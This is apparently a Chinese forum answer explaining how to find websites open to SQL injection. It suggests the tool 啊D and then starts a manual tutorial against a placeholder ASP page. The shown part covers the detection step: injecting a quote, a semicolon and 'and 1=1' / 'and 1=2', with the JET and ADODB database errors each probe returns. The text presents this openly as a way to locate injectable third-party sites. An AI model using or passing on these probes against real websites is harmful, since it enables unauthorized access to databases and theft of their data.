怎么可以找可以注入的网站

用啊D，另外手工注入方法：
实例:_blank>http://www.XXX.com/jiaren.asp?ID=544

好下面开始了.....

1.判断

用' ;
用 and 1=1 and 1=2

判断是很重要并且最主要的一步,因为如果你手工注入不判断那么怎么继续呢..
============================================================================
' 返回

Microsoft JET Database Engine 错误 '80040e14'

语法错误 (操作符丢失) 在查询表达式 'ID = 544''' 中。

/jiaren.asp，行15

============================================================================

; 返回正常页面

===============================
and 1=1 返回正常页面

================================
and 1=2 返回错误页面

编号：

ADODB.Field 错误 '800a0bcd'

BOF 或 EOF 中有一个是"真"，或者当前的记录已被删除，所需的操作要求一个当前的记录。

/jiaren.asp，行28
==========================================